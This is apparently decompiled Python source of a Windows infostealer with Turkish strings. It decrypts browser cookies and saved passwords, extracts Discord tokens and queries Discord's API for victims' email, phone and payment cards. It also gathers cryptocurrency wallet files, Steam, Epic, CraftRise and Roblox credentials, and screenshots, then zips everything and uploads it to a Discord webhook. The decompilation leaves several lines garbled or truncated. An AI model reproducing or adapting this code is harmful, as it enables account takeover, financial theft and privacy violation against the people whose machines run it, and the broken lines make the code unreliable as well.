chrome_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data')]
user_data_dir = None
for path in chrome_paths:
if os.path.exists(path):
user_data_dir = path
break
if not user_data_dir:
return None
else:
try:
profiles = os.listdir(user_data_dir)
for profile in profiles:
cookies_path = os.path.join(user_data_dir, profile, 'Network', 'Cookies')
if not os.path.exists(cookies_path):
continue
else:
try:
with tempfile.TemporaryDirectory() as temp_dir:
temp_cookies_path = os.path.join(temp_dir, 'Cookies')
try:
if shadow_copy:
shadow_copy(cookies_path, temp_cookies_path)
else:
shutil.copy2(cookies_path, temp_cookies_path)
except:
shutil.copy2(cookies_path, temp_cookies_path)
with sqlite3.connect(f'{pathlib.Path(temp_cookies_path).as_uri()}?mode=ro', uri=True) as con:
cur = con.cursor()
cur.execute('SELECT host_key, name, CAST(encrypted_value AS BLOB) FROM cookies')
rows = cur.fetchall()
if rows:
filename = 'chrome_cookies.txt' if profile == 'Default' else f'chrome_{profile}_cookies.txt'
with open(os.path.join(output_root, filename), 'w', encoding='utf-8') as f:
for host, name, value in rows:
try:
decrypted = None
if value.startswith(b'v20') and master_key:
decrypted = decrypt_cookie_v20(value, master_key)
else:
if windows:
try:
decrypted = windows.crypto.dpapi.unprotect(value).decode('utf-8', errors='ignore')
except:
pass
if not decrypted:
try:
d = win32crypt.CryptUnprotectData(value, None, None, None, 0)
if d and len(d) >= 2:
decrypted = d[1].decode('utf-8', errors='ignore')
except:
pass
if not decrypted:
decrypted = '[DPAPI_FAIL]'
f.write(f'{host}\tFALSE\t/\tFALSE\t0\t{name}\t{decrypted}\n')
except Exception:
pass
except Exception:
continue
except Exception:
return None
def send_to_webhook(file_path=None, message=None, embeds=None, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.send_to_webhook: Failure: Compilation Error
if url is None:
url = get_send_url()
data = {}
files = {}
if message:
if 'discord.com' in url or 'discordapp.com' in url:
data['content'] = message
else:
data['message'] = message
if embeds and ('discord.com' in url or 'discordapp.com' in url):
data['embeds'] = embeds
if file_path and os.path.exists(file_path):
f = open(file_path, 'rb')
files['file'] = (os.path.basename(file_path), f)
if files:
try:
if embeds or (message and 'content' in data):
import json
payload_dict = data.copy()
data['payload_json'] = json.dumps(payload_dict)
if 'embeds' in data:
del data['embeds']
if 'content' in data:
del data['content']
response = requests.post(url, files=files, data=data, timeout=60, verify=False)
if response.status_code not in [200, 204]:
files['file'][1].seek(0)
requests.post(url, files={'file': files['file']}, timeout=60, verify=False)
except Exception:
try:
files['file'][1].seek(0)
requests.post(url, files={'file': files['file']}, timeout=60, verify=False)
except:
pass
finally:
files['file'][1].close()
if data:
requests.post(url, json=data, timeout=30, verify=False)
except Exception:
return None
def count_cookies_and_passwords(output_root):
# ***<module>.count_cookies_and_passwords: Failure detected at line number 914 and instruction offset 26: Different bytecode
cookie_count = 0
password_count = 0
if not os.path.exists(output_root):
return (0, 0)
else:
for root, dirs, files in os.walk(output_root):
for file in files:
try:
file_path = os.path.join(root, file)
if 'Passwords' in root or 'password' in file.lower():
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
password_count += content.count('_________404_MESCİDİ__________')
if 'cookie' in file.lower():
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
lines = f.readlines()
cookie_count += len([l for l in lines if l.strip() and (not l.strip().startswith('#')) and ('\t' in l)])
if file.endswith('.txt'):
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
if '_________404_MESCİDİ__________' in content or ('URL :' in content and 'Password :' in content):
pass
else:
if 'http' in content.lower() or '.com' in content.lower():
cookie_count += len([l for l in content.split('\n') if l.strip() and '\t' in l and ('http' in l.lower())])
except Exception:
pass
return (cookie_count, password_count)
def run_cookie_extraction():
# ***<module>.run_cookie_extraction: Failure: Compilation Error
is_elevated_flag = '--elevated' in sys.argv
log_message('run_cookie_extraction started')
if not is_admin() and (not is_elevated_flag):
return (0, 0)
try:
if browser_cookie3:
log_message('browser_cookie3 module is LOADED.')
else:
log_message('browser_cookie3 module is MISSING.')
games = scan_games()
send_url = get_send_url(games)
except Exception as e:
log_message(f'Initial game scan failed: {e}')
games = {}
send_url = SEND_URL_1
computer_name = os.environ.get('COMPUTERNAME', 'UNKNOWN_PC')
user_name = os.environ.get('USERNAME', 'UNKNOWN_USER')
temp_dir = tempfile.mkdtemp()
output_root = os.path.join(temp_dir, f'Browser_{computer_name}')
os.makedirs(output_root, exist_ok=True)
os.makedirs(os.path.join(output_root, 'Passwords'), exist_ok=True)
browser_operations = [('Edge Cookies', get_edge_cookies, {'output_dir': output_root}), ('Opera Cookies', get_opera_cookies, {'output_dir': output_root}), ('Opera GX Cookies', get_opera_gx_cookies, {'output_dir': output_root}), ('Firefox Cookies', get_firefox_cookies, {'output_dir': output_root}), ('Yandex Cookies', get_yandex_cookies, {'output_dir': output_root}), ('Brave Passwords', extract_passwords, {'output_dir': os.path.join(output_root, 'Passwords'), 'user_data_path': os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), 'prefix': 'brave'}), ('Opera GX Passwords', extract_opera_gx, {'output_dir': os.path.join(output_root, 'Passwords')}), ('Yandex Passwords', extract_yandex, {'output_dir': os.path.join(output_root, 'Passwords')}), ('Chrome Data', process_chrome_data, {
for operation in browser_operations:
try:
log_message(f'Running operation: {operation[0]}')
if isinstance(operation[2], dict):
operation[1](**operation[2])
else:
operation[1](*operation[2])
except Exception as e:
log_message(f'Operation {operation[0]} failed: {e}')
cookie_count, password_count = count_cookies_and_passwords(output_root)
zip_path = None
has_files = False
for root, dirs, files in os.walk(output_root):
if files:
log_message(f'Found files in output: {files}')
has_files = True
break
if not has_files:
log_message(f'No files were extracted to {output_root}')
if has_files:
try:
log_message('Attempting to create zip file...')
zip_filename = f'Cookie_{computer_name}.zip'
zip_path = os.path.join(temp_dir, zip_filename)
create_zip_with_outputs(output_root, zip_path)
if os.path.exists(zip_path):
log_message(f'Zip created successfully at {zip_path}, size: {os.path.getsize(zip_path)}')
else:
log_message(f'Zip file NOT FOUND after creation attempt: {zip_path}')
except Exception as e:
log_message(f'Error in cookie extraction: {e}')
import traceback
log_message(traceback.format_exc())
return (cookie_count, password_count, zip_path)
def send_report(payload=None, file_path=None, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.send_report: Failure: Compilation Error
if url is None:
url = get_send_url()
if payload and 'message' in payload and ('discord.com' in url or 'discordapp.com' in url):
payload['content'] = payload.pop('message')
if payload:
response = requests.post(url, json=payload, timeout=15, verify=False)
log_message(f'send_report payload response: {response.status_code} - {response.text}')
return response.status_code in (200, 204)
if file_path and os.path.exists(file_path):
with open(file_path, 'rb') as f:
files = {'file': (os.path.basename(file_path), f)}
response = requests.post(url, files=files, timeout=60, verify=False)
log_message(f'send_report file response: {response.status_code} - {response.text}')
return response.status_code in (200, 204)
return False
except Exception as e:
log_message(f'send_report error: {e}')
return False
def upload_file(file_path, url=None):
# irreducible cflow, using cdg fallback
# ***<module>.upload_file: Failure: Compilation Error
if url is None:
url = get_send_url()
if os.path.exists(file_path):
with open(file_path, 'rb') as f:
files = {'file': (os.path.basename(file_path), f)}
requests.post(url, files=files, timeout=60, verify=False)
return True
return False
except Exception:
return False
def scan_games():
# ***<module>.scan_games: Failure detected at line number 945 and instruction offset 6: Different bytecode
games = {}
user = os.getenv('USERPROFILE', '')
if not user:
return games
else:
try:
with ThreadPoolExecutor(max_workers=8) as executor:
top_level_riot = ['C:\\Program Files\\Riot Games\\VALORANT', 'C:\\Riot Games\\VALORANT', 'D:\\Riot Games\\VALORANT', 'E:\\Riot Games\\VALORANT']
futures = {executor.submit(check_game_path, 'Valorant', top_level_riot): 'Valorant', executor.submit(check_game_path, 'Roblox', [os.path.join(user, 'AppData', 'Local', 'Roblox')]): 'Roblox', executor.submit(check_game_path, 'Albion Online', [os.path.join(user, 'AppData', 'Local', 'Gameforge4d', 'GameforgeClient.exe')]): 'Albion Online', executor.submit(check_game_path, 'Growtopia', [os.path.join(user, 'AppData', 'Local', 'Growtopia', 'Growtopia.exe')]): 'Growtopia', executor.submit(check_game_path, 'League of Legends', [os.path.join('C:', 'Riot Games', 'League of Legends'), os.path.join('D:', 'Riot Games', 'League of Legends')]): 'League of Legends', executor.submit(collect_steam_info): 'Steam', executor.submit(collect_epic_games_info): 'Epic Games'}
for future in as_completed(futures):
game_name = futures[future]
try:
result = future.result()
if isinstance(result, dict):
games.update(result)
else:
if result:
games[game_name] = result
else:
games[game_name] = False
except Exception:
games[game_name] = False
except Exception:
return {}
return games
def collect_steam_info():
# irreducible cflow, using cdg fallback
# ***<module>.collect_steam_info: Failure: Compilation Error
steam_info = {'installed': False, 'games_count': 0, 'username': '', 'level': '', 'wallet_balance': '', 'mobile_guard': '
Pasif'}steam_paths = [os.path.join(os.getenv('ProgramFiles(x86)', ''), 'Steam'), os.path.join(os.getenv('ProgramFiles', ''), 'Steam'), os.path.join(os.getenv('USERPROFILE', ''), 'AppData', 'Roaming', 'Steam')]
steam_path = None
for path in steam_paths:
if os.path.exists(path):
steam_path = path
break
if not steam_path:
return {'Steam': False}
else:
steam_info['installed'] = True
steamapps_path = os.path.join(steam_path, 'steamapps')
if os.path.exists(steamapps_path):
acf_files = [f for f in os.listdir(steamapps_path) if f.endswith('.acf')]
steam_info['games_count'] = len(acf_files)
config_path = os.path.join(steam_path, 'config')
if os.path.exists(config_path):
loginusers_file = os.path.join(config_path, 'loginusers.vdf')
if os.path.exists(loginusers_file):
try:
with open(loginusers_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
username_match = re.search('\"PersonaName\"\\s+\"([^\"]+)\"', content)
if not username_match:
username_match = re.search('PersonaName[\\s\\t]+\"([^\"]+)\"', content)
if not username_match:
username_match = re.search('\"AccountName\"\\s+\"([^\"]+)\"', content)
if username_match:
steam_info['username'] = username_match.group(1).strip()
except Exception:
pass
localconfig_file = os.path.join(config_path, 'localconfig.vdf')
if os.path.exists(localconfig_file):
try:
with open(localconfig_file, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
wallet_match = re.search('\"wallet_balance\"\\s+\"([^\"]+)\"', content)
if not wallet_match:
wallet_match = re.search('wallet_balance[\\s\\t]+\"([^\"]+)\"', content)
if wallet_match:
balance_val = wallet_match.group(1).strip()
if balance_val and balance_val!= '0':
steam_info['wallet_balance'] = balance_val
level_match = re.search('\"level\"\\s+\"([^\"]+)\"', content)
if not level_match:
level_match = re.search('\"SteamLevel\"\\s+\"([^\"]+)\"', content)
if not level_match:
level_match = re.search('level[\\s\\t]+\"([^\"]+)\"', content)
if level_match:
level_val = level_match.group(1).strip()
if level_val:
steam_info['level'] = level_val
except Exception:
pass
if windows:
try:
steam_reg_path = 'SOFTWARE\\Valve\\Steam'
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, steam_reg_path) as key:
try:
mobile_guard, _ = winreg.QueryValueEx(key, 'MobileAuthenticatorEnabled')
steam_info['mobile_guard'] = '
Aktif' if mobile_guard else ' Pasif'except:
steam_info['mobile_guard'] = '
Pasif'if not steam_info.get('username'):
try:
reg_username, _ = winreg.QueryValueEx(key, 'PersonaName')
if reg_username:
steam_info['username'] = reg_username
except:
pass
except Exception:
steam_info['mobile_guard'] = '
Kontrol Edilemedi'if not steam_info.get('username'):
userdata_path = os.path.join(steam_path, 'userdata')
if os.path.exists(userdata_path):
for folder in os.listdir(userdata_path):
if folder.isdigit():
config_path_user = os.path.join(userdata_path, folder, 'config', 'localconfig.vdf')
if os.path.exists(config_path_user):
with open(config_path_user, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
username_match = re.search('\"PersonaName\"\\s+\"([^\"]+)\"', content)
if username_match:
steam_info['username'] = username_match.group(1).strip()
pass
pass
return {'Steam': steam_info}
except Exception:
return {'Steam': False}
def collect_epic_games_info():
# ***<module>.collect_epic_games_info: Failure detected at line number 984 and instruction offset 74: Different bytecode
epic_info = {'installed': False, 'games_count': 0, 'username': 'Bilinmiyor', 'email': 'Bilinmiyor'}
epic_paths = ['C:\\Program Files\\Epic Games', 'C:\\Program Files (x86)\\Epic Games', 'D:\\Epic Games', 'E:\\Epic Games']
epic_path = None
for path in epic_paths:
if os.path.exists(path):
epic_path = path
break
if not epic_path:
return {'Epic Games': False}
else:
epic_info['installed'] = True
try:
for root, dirs, files in os.walk(epic_path):
if '.egstore' in dirs:
epic_info['games_count'] += 1
launcher_path = os.path.join(epic_path, 'Launcher')
if os.path.exists(launcher_path):
portal_path = os.path.join(launcher_path, 'Portal')
if os.path.exists(portal_path):
for root, dirs, files in os.walk(portal_path):
for file in files:
if file.endswith('.json'):
try:
with open(os.path.join(root, file), 'r', encoding='utf-8', errors='ignore') as f:
data = json.load(f)
if 'displayName' in data:
epic_info['username'] = data['displayName']
except:
pass
config_path = os.path.join(launcher_path, 'Saved', 'Config')
if os.path.exists(config_path):
for root, dirs, files in os.walk(config_path):
for file in files:
if file.endswith('.ini'):
try:
with open(os.path.join(root, file), 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
email_match = re.search('email=([^\\n\\r]+)', content, re.IGNORECASE)
if email_match and (not epic_info.get('email') or epic_info['email'] == 'Bilinmiyor'):
epic_info['email'] = email_match.group(1).strip()
except:
pass
except Exception:
pass
return {'Epic Games': epic_info}
def check_path_exists(paths):
try:
for path in paths:
if os.path.exists(path):
return True
except Exception:
return False
return False
def check_game_path(game_name, paths):
return check_path_exists(paths)
def scan_wallets():
# ***<module>.scan_wallets: Failure: Compilation Error
wallets = {}
user = os.getenv('USERPROFILE', '')
if not user:
return wallets
else:
wallet_paths = {'Exodus': [os.path.join(user, 'AppData', 'Roaming', 'Exodus')], 'Electrum': [os.path.join(user, 'AppData', 'Roaming', 'Electrum')], 'Coinomi': [os.path.join(user, 'AppData', 'Local', 'Coinomi')], 'Guarda': [os.path.join(user, 'AppData', 'Roaming', 'Guarda')], 'MetaMask': [os.path.join(user, 'AppData', 'Roaming', 'MetaMask')], 'MyEtherWallet': [os.path.join(user, 'AppData', 'Roaming', 'MyEtherWallet')], 'Ledger Live': [os.path.join(user, 'AppData', 'Roaming', 'Ledger Live')], 'Trezor Bridge': [os.path.join(user, 'AppData', 'Roaming', 'Trezor Bridge'
try:
with ThreadPoolExecutor(max_workers=6) as executor:
futures = {}
for wallet_name, paths in wallet_paths.items():
future = executor.submit(check_wallet_path, wallet_name, paths)
futures[future] = wallet_name
for future in as_completed(futures):
wallet_name = futures[future]
try:
wallets[wallet_name] = future.result()
except Exception:
wallets[wallet_name] = False
except Exception:
return {}
return wallets
def check_wallet_path(wallet_name, paths):
return check_path_exists(paths)
def collect_wallet_data():
# ***<module>.collect_wallet_data: Failure: Compilation Error
wallet_files = []
error_log = []
user = os.getenv('USERPROFILE', '')
if not user:
error_log.append('USERPROFILE environment variable not found')
return (wallet_files, error_log)
else:
wallet_configs = {'Exodus': [os.path.join(user, 'AppData', 'Roaming', 'Exodus')], 'Electrum': ['.wallet', '.seed', '.key'], 'Coinomi': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Electrum', 'wallets')], 'extensions': ['.json', 'default_wallet']}, 'Guarda': {'paths': [os.path.join(user, 'AppData', 'Local', 'Coinomi', 'Coinomi', 'wallets')], 'extensions': ['.json']}, 'Ledger Live': {'paths': [os.path.join(user, 'AppData', 'Roaming', 'Trezor Bridge'), os.path.join(user, 'AppData', 'Local', 'Trezor Bridge')], 'extensions': ['.log']},
try:
for wallet_name, config in wallet_configs.items():
for path in config['paths']:
if os.path.exists(path):
try:
for root, dirs, files in os.walk(path):
for file in files:
if any((ext in file.lower() for ext in config['extensions'])):
full_path = os.path.join(root, file)
wallet_files.append({'path': full_path, 'wallet': wallet_name.lower().replace(' ', '_'), 'filename': file})
except Exception as e:
error_log.append(f'Error scanning {wallet_name} at {path}: {str(e)}')
except Exception as e:
error_log.append(f'General error in collect_wallet_data: {str(e)}')
return (wallet_files, error_log)
def create_error_zip(error_log, zip_name='GAMES.zip'):
# ***<module>.create_error_zip: Failure detected at line number 1035 and instruction offset 8: Different bytecode
try:
zip_path = os.path.join(tempfile.gettempdir(), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as error_zip:
if error_log and len(error_log) > 0:
error_log_path = os.path.join(tempfile.gettempdir(), 'wallet_errors.txt')
with open(error_log_path, 'w', encoding='utf-8') as f:
f.write('Wallet Collection Errors:\n')
f.write(f"Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write('==================================================\n')
for error in error_log:
f.write(f'- {error}\n')
error_zip.write(error_log_path, 'wallet_errors.txt')
if os.path.exists(error_log_path):
os.remove(error_log_path)
return zip_path if os.path.exists(zip_path) else None
except Exception:
return None
def silent_wallet_collection():
# ***<module>.silent_wallet_collection: Failure detected at line number 1063 and instruction offset 70: Different bytecode
wallet_files = []
error_log = []
try:
wallet_files, errors = collect_wallet_data()
error_log.extend(errors)
if not wallet_files and error_log:
error_zip_path = create_error_zip(error_log)
if error_zip_path:
try:
upload_file(error_zip_path)
if os.path.exists(error_zip_path):
os.remove(error_zip_path)
except Exception:
pass
return (wallet_files, error_log)
except Exception as e:
error_log.append(f'Critical error in silent_wallet_collection: {str(e)}')
return (wallet_files, error_log)
def take_snapshot():
# irreducible cflow, using cdg fallback
# ***<module>.take_snapshot: Failure: Compilation Error
with mss.MSS() as sct:
tmp_file = os.path.join(tempfile.gettempdir(), f'snap_{random.randint(10000, 99999)}.png')
sct.shot(output=tmp_file)
return tmp_file if os.path.exists(tmp_file) else None
except Exception:
return None
def check_minecraft_premium():
# ***<module>.check_minecraft_premium: Failure detected at line number 1074 and instruction offset 16: Different bytecode
minecraft_info = {'installed': False, 'premium_accounts': 0, 'usernames': [], 'total_accounts': 0}
user = os.getenv('USERPROFILE', '')
if not user:
return minecraft_info
else:
minecraft_path = os.path.join(user, 'AppData', 'Roaming', '.minecraft')
if not os.path.exists(minecraft_path):
return minecraft_info
else:
minecraft_info['installed'] = True
try:
profiles_file = os.path.join(minecraft_path, 'launcher_profiles.json')
if os.path.exists(profiles_file):
with open(profiles_file, 'r', encoding='utf-8') as f:
profiles_data = json.load(f)
authentication_db = profiles_data.get('authenticationDatabase', {})
premium_count = 0
usernames = []
total_accounts = 0
for account_id, account_info in authentication_db.items():
total_accounts += 1
username = account_info.get('username', 'Bilinmiyor')
if username and '@' not in username:
premium_count += 1
usernames.append(username)
else:
if username and ('@live.com' in username or '@outlook.com' in username or '@hotmail.com' in username):
premium_count += 1
usernames.append(username.split('@')[0])
minecraft_info['premium_accounts'] = premium_count
minecraft_info['usernames'] = usernames
minecraft_info['total_accounts'] = total_accounts
except Exception:
pass
return minecraft_info
def create_zip(minecraft_files, growtopia_files, sonoyuncu_files, craftrise_files, wallet_files, zip_name='Games.zip', error_log=None, roblox_data=None):
# ***<module>.create_zip: Failure detected at line number 1109 and instruction offset 8: Different bytecode
zip_path = os.path.join(tempfile.gettempdir(), zip_name)
added_files = set()
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
def add_files_to_zip(file_list, folder_name):
for f in file_list:
try:
if os.path.exists(f) and os.path.basename(f) not in added_files:
zipf.write(f, os.path.join(folder_name, os.path.basename(f)))
added_files.add(os.path.basename(f))
except Exception as e:
if error_log is not None:
error_log.append(f'Error adding {folder_name} file {f}: {str(e)}')
add_files_to_zip(minecraft_files, 'minecraft')
add_files_to_zip(growtopia_files, 'growtopia')
add_files_to_zip(sonoyuncu_files, 'sonoyuncu')
add_files_to_zip(craftrise_files, 'craftrise')
if roblox_data:
try:
zipf.writestr('roblox_cookie.txt', roblox_data)
added_files.add('roblox_cookie.txt')
except Exception as e:
if error_log is not None:
error_log.append(f'Error adding roblox_cookie.txt: {str(e)}')
for wallet_info in wallet_files:
try:
if os.path.exists(wallet_info['path']):
wallet_name = wallet_info['wallet']
filename = wallet_info['filename']
unique_name = f'{wallet_name}_{filename}'
counter = 1
original_unique_name = unique_name
while unique_name in added_files:
unique_name = f'{original_unique_name}_{counter}'
counter += 1
zipf.write(wallet_info['path'], os.path.join('wallets', wallet_name, filename))
added_files.add(unique_name)
except Exception as e:
if error_log is not None:
error_log.append(f"Error adding wallet file {wallet_info.get('path', 'UNKNOWN')}: {str(e)}")
if error_log and len(error_log) > 0:
try:
error_log_path = os.path.join(tempfile.gettempdir(), 'error_log.txt')
with open(error_log_path, 'w', encoding='utf-8') as f:
f.write('Wallet Collection Errors:\n')
f.write('\n'.join(error_log))
zipf.write(error_log_path, 'error_log.txt')
if os.path.exists(error_log_path):
os.remove(error_log_path)
except Exception:
pass
return zip_path if os.path.exists(zip_path) else None
class DataProcessor:
def __init__(self):
try:
self.user = os.path.expanduser('~')
self.accounts = []
except Exception:
self.user = ''
self.accounts = []
def read_config(self, fpath):
# irreducible cflow, using cdg fallback
# ***<module>.DataProcessor.read_config: Failure: Compilation Error
with open(fpath, 'r', encoding='utf-8') as f:
d = json.load(f)
u, e = (d.get('rememberName', ''), d.get('rememberPass', ''))
p = self.decrypt_data(e)
if u and p:
self.accounts.append({'Kullanıcı': u, 'Şifre': p})
except Exception:
return None
def decrypt_data(self, e):
# ***<module>.DataProcessor.decrypt_data: Failure detected at line number 1173 and instruction offset 6: Different bytecode
try:
key = b'2640023187059250'
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(base64.b64decode(e))
pad = dec[(-1)]
if isinstance(pad, int):
pad = int(pad)
else:
pad = ord(pad)
txt = dec[
ad].decode()return self.process_text(txt).split('#')[0]
except Exception:
return 'Şifre çözülemedi'
def process_text(self, s):
def decode(s):
# ***<module>.DataProcessor.process_text.decode: Failure detected at line number 1187 and instruction offset 2: Different bytecode
try:
return base64.b64decode(s).decode('utf-8')
except Exception:
return s
try:
for _ in range(2):
s = decode(s)
if not s:
break
else:
s = s.replace('3ebi2mclmAM7Ao2', '').replace('KweGTngiZOOj9d6', '')
return decode(s) or s
except Exception:
return s
def collect(self):
# ***<module>.DataProcessor.collect: Failure detected at line number 1206 and instruction offset 38: Different bytecode
p = os.path.join(self.user, 'AppData', 'Roaming', '.craftrise')
if not os.path.exists(p):
return 'Craftrise hesabı bulunamadı.'
else:
try:
for root, _, files in os.walk(p):
for f in files:
if f == 'config.json':
try:
self.read_config(os.path.join(root, f))
except Exception:
pass
return self.accounts if self.accounts else 'Craftrise hesabı bulunamadı.'
except Exception:
return 'Craftrise bilgisi alınamadı.'
class TokenCollector:
def get_key(self, path):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_key: Failure: Compilation Error
local_state_path = os.path.join(path, 'Local State')
if not os.path.exists(local_state_path):
local_state_path = os.path.join(os.path.dirname(path), 'Local State')
if not os.path.exists(local_state_path):
return
with open(local_state_path, 'r', encoding='utf-8') as f:
key = base64.b64decode(json.load(f)['os_crypt']['encrypted_key'])[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except Exception:
return None
def decrypt_token(self, enc, key):
# ***<module>.TokenCollector.decrypt_token: Failure detected at line number 1221 and instruction offset 2: Different bytecode
try:
data = base64.b64decode(enc.split('dQw4w9WgXcQ:')[1])
iv, payload, tag = (data[3:15], data[15
-16)], data[(-16):])return AES.new(key, AES.MODE_GCM, iv).decrypt_and_verify(payload, tag).decode()
except Exception:
return None
def collect_tokens(self, path):
# ***<module>.TokenCollector.collect_tokens: Failure detected at line number 1240 and instruction offset 100: Different bytecode
leveldb_path = os.path.join(path, 'Local Storage', 'leveldb')
if not os.path.exists(leveldb_path):
leveldb_path = os.path.join(path, 'Default', 'Local Storage', 'leveldb')
if not os.path.exists(leveldb_path):
return []
else:
path = os.path.join(path, 'Default')
key = self.get_key(path)
if not key:
return []
else:
tokens = []
try:
for f in os.listdir(leveldb_path):
if f.endswith(('.log', '.ldb')):
try:
with open(os.path.join(leveldb_path, f), 'r', errors='ignore') as file:
content = file.read()
tokens += re.findall('dQw4w9WgXcQ:[^\\\"\\\\]+', content)
except Exception:
pass
except Exception:
pass
return list(set(filter(None, [self.decrypt_token(t, key) for t in tokens])))
def get_all_tokens(self):
# ***<module>.TokenCollector.get_all_tokens: Failure: Compilation Error
LOCAL = os.getenv('LOCALAPPDATA')
ROAMING = os.getenv('APPDATA')
if not LOCAL or not ROAMING:
return []
else:
PATHS = {'Discord': os.path.join(ROAMING, 'discord'), 'Discord Canary': os.path.join(ROAMING, 'discordcanary'), 'Lightcord': os.path.join(ROAMING, 'Opera Software', 'Opera Stable'), 'Opera GX': os.path.join(ROAMING, 'Opera Software', 'Opera GX Stable'), 'Amigo': os.path.join(LOCAL, 'Amigo', 'User Data'), 'Orbitum': os.path.join(LOCAL, 'Orbitum', 'User Data'), 'CentBrowser': os.path.join(LOCAL, '7Star', '7Star', 'User Data'), 'uCozMedia': os.path.join(LOCAL, 'uCozMedia', 'Uran', 'User Data'), 'Yandex': os.path.join(LOCAL, 'Yandex', 'YandexBrowser', 'User Data'), 'Brave': os.path.join(LOCAL, 'BraveSoftware', '
all_tokens = []
seen_tokens = set()
for name, path in PATHS.items():
if not os.path.exists(path):
continue
else:
tokens = self.collect_tokens(path)
for t in tokens:
if t not in seen_tokens:
all_tokens.append({'token': t, 'source': name})
seen_tokens.add(t)
return all_tokens
def get_user_info(self, token):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_user_info: Failure: Compilation Error
r = requests.get('https://discord.com/api/v9/users/@me', headers={'Authorization': token}, timeout=5, verify=False)
if r.status_code == 200:
u = r.json()
return {'id': u.get('id', ''), 'username': f"{u.get('username', '')}#{u.get('discriminator', '')}", 'email': u.get('email', 'Yok'), 'phone': u.get('phone', 'Yok'), 'public_flags': u.get('public_flags', 0), 'premium_type': u.get('premium_type', 0)}
except Exception:
return None
def decode_badges(self, flags):
try:
badges = []
mapping = {1: 'Discord Staff', 2: 'Partner', 4: 'HypeSquad Events', 8: 'Bug Hunter 1', 64: 'HypeSquad Bravery', 128: 'HypeSquad Brilliance', 256: 'HypeSquad Balance', 512: 'Early Supporter', 16384: 'Bug Hunter 2', 131072: 'Verified Bot Dev', 4194304: 'Active Developer'}
for k, v in mapping.items():
if flags & k:
badges.append(v)
return badges or ['Yok']
except Exception:
return ['Yok']
def has_nitro(self, user):
try:
return bool(user.get('premium_type', 0))
except Exception:
return False
def get_canary_badges(self, token):
# irreducible cflow, using cdg fallback
# ***<module>.TokenCollector.get_canary_badges: Failure: Compilation Error
u = self.get_user_info(token)
if u:
badges = self.decode_badges(u['public_flags'])
return badges if badges and badges!= ['Yok'] else ['Yok']
except Exception:
pass
return ['Yok']
def calc_creation_date(self, user_id):
# ***<module>.TokenCollector.calc_creation_date: Failure detected at line number 1275 and instruction offset 22: Different bytecode
try:
ts = ((int(user_id) >> 22) + 1420070400000) / 1000
return datetime.fromtimestamp(ts, tz=timezone.utc).strftime('%Y')
except Exception:
return 'Bilinmiyor'
def get_payments(self, token):
# ***<module>.TokenCollector.get_payments: Failure detected at line number 1280 and instruction offset 2: Different bytecode
try:
r = requests.get('https://discord.com/api/v9/users/@me/billing/payment-sources', headers={'Authorization': token}, timeout=5, verify=False)
if r.status_code == 200:
sources = []
for s in r.json():
if s.get('type') == 1:
sources.append(f"Kart: {s.get('brand', 'Bilinmiyor').capitalize()} •••• {s.get('last_4', '****')}")
else:
if s.get('type') == 2:
sources.append(f"PayPal: {s.get('email', 'Bilinmiyor')}")
return sources or ['Kayıtlı kart yok']
else:
return ['Kayıtlı kart yok']
except Exception:
return ['Kayıtlı kart yok']
def scan_browsers():
browsers = []
try:
paths = {'Chrome': ['%LOCALAPPDATA%\\Google\\Chrome\\User Data', '%PROGRAMFILES%\\Google\\Chrome\\User Data'], 'Edge': ['%LOCALAPPDATA%\\Microsoft\\Edge\\User Data', '%PROGRAMFILES%\\Microsoft\\Edge\\User Data'], 'Brave': ['%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data', '%PROGRAMFILES%\\BraveSoftware\\Brave-Browser\\User Data'], 'Opera': ['%APPDATA%\\Opera Software\\Opera Stable'], 'Opera GX': ['%APPDATA%\\Opera Software\\Opera GX Stable'], 'Yandex': ['%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data'], 'Firefox': ['%APPDATA%\\Mozilla\\Firefox\\Profiles']}
for b, ps in paths.items():
if any((os.path.exists(os.path.expandvars(p)) for p in ps)):
browsers.append(b)
except Exception:
pass
return browsers
def get_system_info():
# irreducible cflow, using cdg fallback
# ***<module>.get_system_info: Failure: Compilation Error
info = {'PC': 'Bilinmiyor', 'User': 'Bilinmiyor', 'OS': 'Bilinmiyor', 'Browsers': [], 'LocalIP': 'Bilinmiyor', 'PublicIP': 'Bilinmiyor', 'CPU': 'Bilinmiyor', 'GPU': 'Bilinmiyor', 'RAM': 'Bilinmiyor'}
try:
pc = socket.gethostname()
info['PC'] = pc
except Exception:
pass
try:
info['User'] = os.getlogin()
except Exception:
pass
try:
info['OS'] = platform.platform()
except Exception:
pass
try:
import psutil
ram_bytes = psutil.virtual_memory().total
info['RAM'] = f'{ram_bytes / 1073741824:.2f} GB'
except Exception:
info['RAM'] = 'Bilinmiyor'
try:
cpu_out = subprocess.check_output('wmic cpu get name', shell=True).decode('utf-8').strip().split('\n')[1].strip()
info['CPU'] = cpu_out
